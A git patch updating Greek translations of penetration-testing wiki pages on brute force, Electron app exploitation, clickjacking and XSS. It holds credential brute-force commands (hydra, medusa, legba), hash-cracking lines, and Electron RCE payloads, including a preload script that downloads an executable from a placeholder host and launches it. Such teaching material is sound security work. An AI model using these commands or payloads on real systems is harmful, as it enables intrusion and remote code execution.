From df30152055a7a7e5f061d52f102a4e2bc8f0b924 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 9 Mar 2025 14:23:38 +0000 Subject: [PATCH] Translated ['src/generic-hacking/brute-force.md', 'src/network-services- --- src/generic-hacking/brute-force.md | 37 ++++--- .../electron-desktop-apps/README.md | 98 ++++++++++++------- src/pentesting-web/clickjacking.md | 24 ++--- .../unicode-normalization.md | 26 +++-- .../server-side-xss-dynamic-pdf.md | 29 ++++-- 5 files changed, 138 insertions(+), 76 deletions(-) diff --git a/src/generic-hacking/brute-force.md b/src/generic-hacking/brute-force.md index 3da895f72..bcd14fff0 100644 --- a/src/generic-hacking/brute-force.md +++ b/src/generic-hacking/brute-force.md @@ -34,9 +34,16 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars ^ Special characters including spac crunch 6 8 -t ,@@^^%% ``` -### Cewl +### Λίστες λέξεων βασισμένες σε ιστοσελίδες ```bash +# Cewl gets words from the victims page cewl example.com -m 5 -w words.txt + +# Tok (https://github.com/tomnomnom/hacks/tree/master/tok) gets words from a list of URLs +cat /path/to/urls.txt | tok + +# https://github.com/m4ll0k/BBTz/blob/master/getjswords.py gets words from a list of JS URLs +cat /path/to/js-urls.txt | python3 getjswords.py ``` ### [CUPP](https://github.com/Mebus/cupp) @@ -82,7 +89,7 @@ Finished in 0.920s. ## Υπηρεσίες -Ταξινομημένες αλφαβητικά κατά όνομα υπηρεσίας. +Ταξινομημένα αλφαβητικά κατά όνομα υπηρεσίας. ### AFP ```bash @@ -128,11 +135,11 @@ ncrack -p 21 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M ftp legba ftp --username admin --password wordlists/passwords.txt --target localhost:21 ``` -### HTTP Γενικό Brute +### HTTP Generic Brute #### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md) -### HTTP Βασική Αυθεντικοποίηση +### HTTP Basic Auth ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/ # Use https-get mode for https @@ -395,15 +402,15 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ ``` #### Αδύναμα κλειδιά SSH / Προβλέψιμος PRNG Debian -Ορισμένα συστήματα έχουν γνωστά ελαττώματα στον τυχαίο σπόρο που χρησιμοποιείται για τη δημιουργία κρυπτογραφικού υλικού. Αυτό μπορεί να έχει ως αποτέλεσμα μια δραματικά μειωμένη περιοχή κλειδιών που μπορεί να παραβιαστεί με εργαλεία όπως το [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Προγεννημένα σύνολα αδύναμων κλειδιών είναι επίσης διαθέσιμα όπως το [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). +Ορισμένα συστήματα έχουν γνωστά ελαττώματα στον τυχαίο σπόρο που χρησιμοποιείται για την παραγωγή κρυπτογραφικού υλικού. Αυτό μπορεί να έχει ως αποτέλεσμα μια δραματικά μειωμένη περιοχή κλειδιών που μπορεί να παραβιαστεί με εργαλεία όπως το [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Προγεννημένα σύνολα αδύναμων κλειδιών είναι επίσης διαθέσιμα όπως το [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). ### STOMP (ActiveMQ, RabbitMQ, HornetQ και OpenMQ) -Το πρωτόκολλο κειμένου STOMP είναι ένα ευρέως χρησιμοποιούμενο πρωτόκολλο μηνυμάτων που **επιτρέπει την απρόσκοπτη επικοινωνία και αλληλεπίδραση με δημοφιλείς υπηρεσίες ουρών μηνυμάτων** όπως το RabbitMQ, ActiveMQ, HornetQ και OpenMQ. Παρέχει μια τυποποιημένη και αποδοτική προσέγγιση για την ανταλλαγή μηνυμάτων και την εκτέλεση διαφόρων λειτουργιών μηνυμάτων. +Το πρωτόκολλο κειμένου STOMP είναι ένα ευρέως χρησιμοποιούμενο πρωτόκολλο μηνυμάτων που **επιτρέπει την απρόσκοπτη επικοινωνία και αλληλεπίδραση με δημοφιλείς υπηρεσίες ουρών μηνυμάτων** όπως το RabbitMQ, ActiveMQ, HornetQ και OpenMQ. Παρέχει μια τυποποιημένη και αποτελεσματική προσέγγιση για την ανταλλαγή μηνυμάτων και την εκτέλεση διαφόρων λειτουργιών μηνυμάτων. ```bash legba stomp --target localhost:61613 --username admin --password data/passwords.txt ``` -### Τελνέτ +### Telnet ```bash hydra -l root -P passwords.txt [-t 32] telnet ncrack -p 23 --user root -P passwords.txt [-T 5] @@ -471,10 +478,10 @@ john zip.john hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt .\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack ``` -#### Γνωστή επίθεση με απλό κείμενο zip +#### Γνωστή επίθεση σε zip με απλό κείμενο Πρέπει να γνωρίζετε το **απλό κείμενο** (ή μέρος του απλού κειμένου) **ενός αρχείου που περιέχεται μέσα** στο κρυπτογραφημένο zip. Μπορείτε να ελέγξετε **τα ονόματα αρχείων και το μέγεθος των αρχείων που περιέχονται μέσα** σε ένα κρυπτογραφημένο zip εκτελώντας: **`7z l encrypted.zip`**\ -Κατεβάστε [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)από τη σελίδα εκδόσεων. +Κατεβάστε [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)από τη σελίδα των εκδόσεων. ```bash # You need to create a zip file containing only the file that is inside the encrypted zip zip plaintext.zip plaintext.file @@ -508,7 +515,7 @@ qpdf --password= --decrypt encrypted.pdf plaintext.pdf ``` ### PDF Owner Password -Για να σπάσετε έναν κωδικό πρόσβασης PDF Owner, ελέγξτε αυτό: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) +Για να σπάσετε έναν κωδικό ιδιοκτήτη PDF, ελέγξτε αυτό: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) ### JWT ```bash @@ -562,7 +569,7 @@ cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` -Ένα άλλο σεμινάριο Luks BF: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) +Ένα άλλο tutorial Luks BF: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) ### Mysql ```bash @@ -581,11 +588,11 @@ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash ### DPAPI Master Key -Χρησιμοποιήστε [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) και στη συνέχεια john +Χρησιμοποιήστε [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) και στη συνέχεια τον john ### Open Office Pwd Protected Column -Αν έχετε ένα αρχείο xlsx με μια στήλη προστατευμένη με κωδικό πρόσβασης, μπορείτε να την αποπροστατεύσετε: +Αν έχετε ένα αρχείο xlsx με μια στήλη προστατευμένη με κωδικό πρόσβασης, μπορείτε να την αποδεσμεύσετε: - **Ανεβάστε το στο google drive** και ο κωδικός πρόσβασης θα αφαιρεθεί αυτόματα - Για να **αφαιρέσετε** το **χειροκίνητα**: @@ -622,7 +629,7 @@ hash-identifier ### **Εργαλεία Δημιουργίας Λιστών Λέξεων** -- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Προηγμένος γεννήτορας διαδρομών πληκτρολογίου με ρυθμιζόμενους βασικούς χαρακτήρες, χάρτη πλήκτρων και διαδρομές. +- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Προηγμένος γεννήτορας περιπάτου πληκτρολογίου με ρυθμιζόμενους βασικούς χαρακτήρες, χάρτη πλήκτρων και διαδρομές. ```bash kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt ``` @@ -639,7 +646,7 @@ john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules - **Επίθεση λίστας λέξεων** (`-a 0`) με κανόνες -**Hashcat** έρχεται ήδη με ένα **φάκελο που περιέχει κανόνες** αλλά μπορείτε να βρείτε [**άλλους ενδιαφέροντες κανόνες εδώ**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules). +**Hashcat** έρχεται ήδη με έναν **φάκελο που περιέχει κανόνες** αλλά μπορείτε να βρείτε [**άλλους ενδιαφέροντες κανόνες εδώ**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules). ``` hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule ``` diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index 9ae5f2e2d..2767d9322 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -4,7 +4,7 @@ ## Εισαγωγή -Το Electron συνδυάζει έναν τοπικό backend (με **NodeJS**) και έναν frontend (**Chromium**), αν και του λείπουν μερικοί από τους μηχανισμούς ασφαλείας των σύγχρονων προγραμμάτων περιήγησης. +Το Electron συνδυάζει ένα τοπικό backend (με **NodeJS**) και ένα frontend (**Chromium**), αν και του λείπουν μερικοί από τους μηχανισμούς ασφαλείας των σύγχρονων προγραμμάτων περιήγησης. Συνήθως μπορείς να βρεις τον κώδικα της εφαρμογής electron μέσα σε μια εφαρμογή `.asar`, προκειμένου να αποκτήσεις τον κώδικα πρέπει να τον εξαγάγεις: ```bash @@ -32,18 +32,18 @@ let win = new BrowserWindow() //Open Renderer Process win.loadURL(`file://path/to/index.html`) ``` -Οι ρυθμίσεις της **διαδικασίας απόδοσης** μπορούν να **ρυθμιστούν** στη **κύρια διαδικασία** μέσα στο αρχείο main.js. Ορισμένες από τις ρυθμίσεις θα **αποτρέψουν την εφαρμογή Electron να αποκτήσει RCE** ή άλλες ευπάθειες αν οι **ρυθμίσεις είναι σωστά ρυθμισμένες**. +Οι ρυθμίσεις της **διαδικασίας renderer** μπορούν να **ρυθμιστούν** στη **κύρια διαδικασία** μέσα στο αρχείο main.js. Ορισμένες από τις ρυθμίσεις θα **αποτρέψουν την εφαρμογή Electron να αποκτήσει RCE** ή άλλες ευπάθειες αν οι **ρυθμίσεις είναι σωστά ρυθμισμένες**. Η εφαρμογή electron **μπορεί να έχει πρόσβαση στη συσκευή** μέσω των Node APIs, αν και μπορεί να ρυθμιστεί για να το αποτρέψει: -- **`nodeIntegration`** - είναι `off` από προεπιλογή. Αν είναι ενεργοποιημένο, επιτρέπει την πρόσβαση σε χαρακτηριστικά του node από τη διαδικασία απόδοσης. -- **`contextIsolation`** - είναι `on` από προεπιλογή. Αν είναι απενεργοποιημένο, οι κύριες και οι διαδικασίες απόδοσης δεν είναι απομονωμένες. +- **`nodeIntegration`** - είναι `off` από προεπιλογή. Αν είναι ενεργοποιημένο, επιτρέπει την πρόσβαση σε χαρακτηριστικά του node από τη διαδικασία renderer. +- **`contextIsolation`** - είναι `on` από προεπιλογή. Αν είναι απενεργοποιημένο, οι κύριες και οι διαδικασίες renderer δεν είναι απομονωμένες. - **`preload`** - κενό από προεπιλογή. - [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - είναι απενεργοποιημένο από προεπιλογή. Θα περιορίσει τις ενέργειες που μπορεί να εκτελέσει το NodeJS. -- Ενοποίηση Node σε Εργάτες +- Node Integration σε Workers - **`nodeIntegrationInSubframes`** - είναι `off` από προεπιλογή. -- Αν η **`nodeIntegration`** είναι **ενεργοποιημένη**, αυτό θα επιτρέψει τη χρήση των **Node.js APIs** σε ιστοσελίδες που είναι **φορτωμένες σε iframes** μέσα σε μια εφαρμογή Electron. -- Αν η **`nodeIntegration`** είναι **απενεργοποιημένη**, τότε οι προφορτώσεις θα φορτωθούν στο iframe. +- Αν **`nodeIntegration`** είναι **ενεργοποιημένο**, αυτό θα επιτρέψει τη χρήση των **Node.js APIs** σε ιστοσελίδες που είναι **φορτωμένες σε iframes** μέσα σε μια εφαρμογή Electron. +- Αν **`nodeIntegration`** είναι **απενεργοποιημένο**, τότε τα preload θα φορτωθούν στο iframe. Παράδειγμα ρύθμισης: ```javascript @@ -111,7 +111,7 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" /> ## RCE: XSS + nodeIntegration -Αν το **nodeIntegration** είναι ρυθμισμένο σε **on**, ο JavaScript μιας ιστοσελίδας μπορεί να χρησιμοποιήσει εύκολα τις δυνατότητες του Node.js απλά καλώντας το `require()`. Για παράδειγμα, ο τρόπος εκτέλεσης της εφαρμογής calc στα Windows είναι: +Αν το **nodeIntegration** είναι ρυθμισμένο σε **on**, το JavaScript μιας ιστοσελίδας μπορεί να χρησιμοποιήσει εύκολα τις δυνατότητες του Node.js απλά καλώντας το `require()`. Για παράδειγμα, ο τρόπος εκτέλεσης της εφαρμογής calc στα Windows είναι: ```html ``` +## RCE: webviewTag + ευάλωτο preload IPC + shell.openExternal + +Αυτή η ευπάθεια μπορεί να βρεθεί σε **[αυτή την αναφορά](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**. + +Το **webviewTag** είναι μια **παρωχημένη δυνατότητα** που επιτρέπει τη χρήση του **NodeJS** στη **διαδικασία απόδοσης**, η οποία θα πρέπει να απενεργοποιείται καθώς επιτρέπει τη φόρτωση ενός script μέσα στο πλαίσιο preload όπως: +```xml + +``` +Ως εκ τούτου, ένας επιτιθέμενος που καταφέρνει να φορτώσει μια αυθαίρετη σελίδα θα μπορούσε να χρησιμοποιήσει αυτή την ετικέτα για να **φορτώσει ένα αυθαίρετο σενάριο προφόρτωσης**. + +Αυτό το σενάριο προφόρτωσης καταχράστηκε στη συνέχεια για να καλέσει μια **ευάλωτη υπηρεσία IPC (`skype-new-window`)** που καλούσε **`shell.openExternal`** για να αποκτήσει RCE: +```javascript +(async() => { +const { ipcRenderer } = require("electron"); +await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH"); +setTimeout(async () => { +const username = process.execPath.match(/C:\\Users\\([^\\]+)/); +await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`); +}, 5000); +})(); +``` ## Ανάγνωση Εσωτερικών Αρχείων: XSS + contextIsolation **Η απενεργοποίηση του `contextIsolation` επιτρέπει τη χρήση των ετικετών ``**, παρόμοια με τις ` ``` -### Πολυδιάστατο Payload +### Πολυβήματη Φορτωτική ```css